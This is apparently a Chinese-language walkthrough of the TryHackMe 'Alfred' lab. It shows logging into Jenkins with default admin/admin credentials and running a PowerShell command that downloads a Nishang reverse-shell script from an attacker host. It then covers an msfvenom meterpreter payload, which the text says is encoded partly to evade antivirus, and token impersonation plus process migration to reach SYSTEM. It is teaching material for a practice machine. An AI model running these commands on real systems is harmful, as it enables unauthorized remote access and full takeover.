【THM】Alfred 阿尔弗雷德

【THM】 Alfred 阿尔弗雷德

Initial Access 初始访问

在这个房间，我们将学习如何利用广泛使用的自动化服务器（Jenkins - 此工具用于创建持续集成/持续开发管道，允许开发者在对其代码进行更改后自动部署代码）上的常见配置错误。之后，我们将使用一种有趣的权限提升方法来获取完整的系统访问权限。

由于这是一个 Windows 应用程序，我们将使用 Nishang 来获取初始访问权限。仓库包含一组用于初始访问、枚举和权限提升的有用脚本。在这种情况下，我们将使用反向 shell 脚本。

请注意，该机器不响应 ping（ICMP）且可能需要几分钟才能启动。

题1，问我们有多少个开放的TCP端口，我们使用nmap进行扫描，注意题中显示不响应Ping，使用-Pn选项，扫出来共3个TCP端口开放

第二题，访问目标的80端口，没有太多信息，访问8080端口，发现有个登陆页面

尝试弱口令，发现admin/admin可以登陆(也可以通过Hydra等工具爆破)

找到工具中允许您在底层系统上执行命令的功能。当您找到这个功能时，可以使用以下命令在您的机器上获取反向 shell 并运行它：

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
#修改其中的IP（本地攻击机的tun0地址）和端口号为自己的攻击机。
#最后指定的端口号为攻击机上所设置的Netcat监听器对应端口号。

您首先需要下载 Powershell 脚本并将其提供给服务器下载。您可以通过使用 python 创建 http 服务器来完成此操作：python3 -m http.server

我们先开启python临时服务器，这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载，然后在Jenkins后台中找到一个功能点 以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本，找到命令执行页面的具体步骤如下——先进入Jenkins后台，然后进入project选项卡（页面中间）、configure选项卡（左侧页面），定位到Build页面(选择Execute Windows batch command)以便我们执行命令，在Build界面输入命令，先点击应用并保存，再点击Build now即可。

首先我们需要下载传输到目标服务器的反向shell，输入apt install nishang

下完后进入nishang的shells目录下，里面有我们需要传输的反向shell文件——Invoke-PowerShellTcp.ps1，在此处开启python的http服务器python3 -m http.server 8080,并用nc监听一个端口用于接受反向shell，这里设置为2345，然后去上面找到的页面输入指令，保存并"build now"。

回到nc监听的窗口，发现成功获得反向shell，使用该反向shell界面进入目标机的目录（C:\Users\bruce\Desktop），获取user flag。

使用MSF切换shell

为了使提权过程更容易，让我们使用以下过程切换到 meterpreter shell。

使用 msfvenom 创建以下 payload 的 Windows meterpreter 反向 shell：

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe

此 payload 生成一个编码的 x86-64 反向 TCP meterpreter payload。payload 通常会被编码以确保它们能够正确传输，并且可以绕过防病毒产品。防病毒产品可能无法识别 payload，不会将其标记为恶意软件。

创建此 payload 后，使用上一步相同的方法将其下载到机器上：

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"

在运行此程序之前，请确保在 Metasploit 中设置了 handler：

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run

此步骤使用 Metasploit 处理器接收来自您的反向 shell 的传入连接。一旦运行，输入此命令以启动反向 shell

Start-Process "shell-name.exe"

这将为您启动一个 meterpreter shell！

按步骤生成反向shell后，移动到之前开启python http服务器的目录下，以便于上传到目标服务器，执行相似命令

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8080/shell-name.exe','shell-name.exe')"

可以看到已经上传成功，然后进入msf，使用multi/handler模块进行监听

msfconsole
use multi/handler
set lhost your_ip
set lport your_port #你想监听的端口
run

再次进入 之前获取的普通反向shell界面，输入命令Start-Process "shell-name.exe" 在目标机上执行exe文件，此时，在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。

权限提升

现在我们已经获得了初始访问权限，让我们使用令牌模拟来获取系统访问权限。

Windows 使用令牌来确保账户拥有执行特定操作的正确权限。账户令牌在用户登录或进行身份验证时分配给账户。这通常是通过 LSASS.exe（将其视为一个身份验证过程）来完成的。

此访问令牌包括：

• 用户 SIDs（安全标识符）
• 组 SIDs
• 权限

在其他事项中。更详细的信息可以在以下位置找到。

存在两种类型的访问令牌：

• 主要访问令牌：与用户账户关联，在登录时生成的
• 模拟令牌：这些令牌允许特定进程（或进程中的线程）使用另一个（用户/客户端）进程的令牌来访问资源

对于模拟令牌，有不同的级别：

• 安全匿名：当前用户/客户端无法冒充其他用户/客户端
• SecurityIdentification: 当前用户/客户端可以获取客户端的身份和权限，但不能冒充客户端
• SecurityImpersonation: 当前用户/客户端可以在本地系统上冒充客户端的安全上下文
• SecurityDelegation: 当前用户/客户端可以在远程系统上冒充客户端的安全上下文

其中安全上下文是一个包含用户相关安全信息的数据结构。

账户的权限（这些权限在创建账户时赋予或从组继承）允许用户执行特定操作。以下是常见的滥用权限：

• SeImpersonatePrivilege
• SeAssignPrimaryPrivilege
• SeTcbPrivilege
• SeBackupPrivilege
• SeRestorePrivilege
• SeCreateTokenPrivilege
• SeLoadDriverPrivilege
• SeTakeOwnershipPrivilege
• SeDebugPrivilege

使用whoami /priv,可以查看当前用户的特殊权限

可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限

让我们使用允许我们利用此漏洞的incognito模块，执行load incognito加载该模块，如果该命令不可用，可以使用use incognito执行该操作

使用help可以查看incognito模块的帮助

使用list_tokens -g查看可以伪装的令牌，其中BUILTIN\Administrators可以使用

使用impersonate_token "BUILTIN\Administrators"切换到该用户的令牌，并使用getuid查看当前权限

即使您拥有更高特权的令牌，您实际上可能没有特权用户的权限（这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会）。但是我们可以把进程迁移到拥有正确权限的进程

最安全的进程是 services.exe 进程。先用ps命令查看进程，找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程

现在我们就拥有了真正的NT AUTHORITY\SYSTEM权限

读取 C:\Windows\System32\config 中的 root.txt 文件

注意：C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置，是一个很重要的目录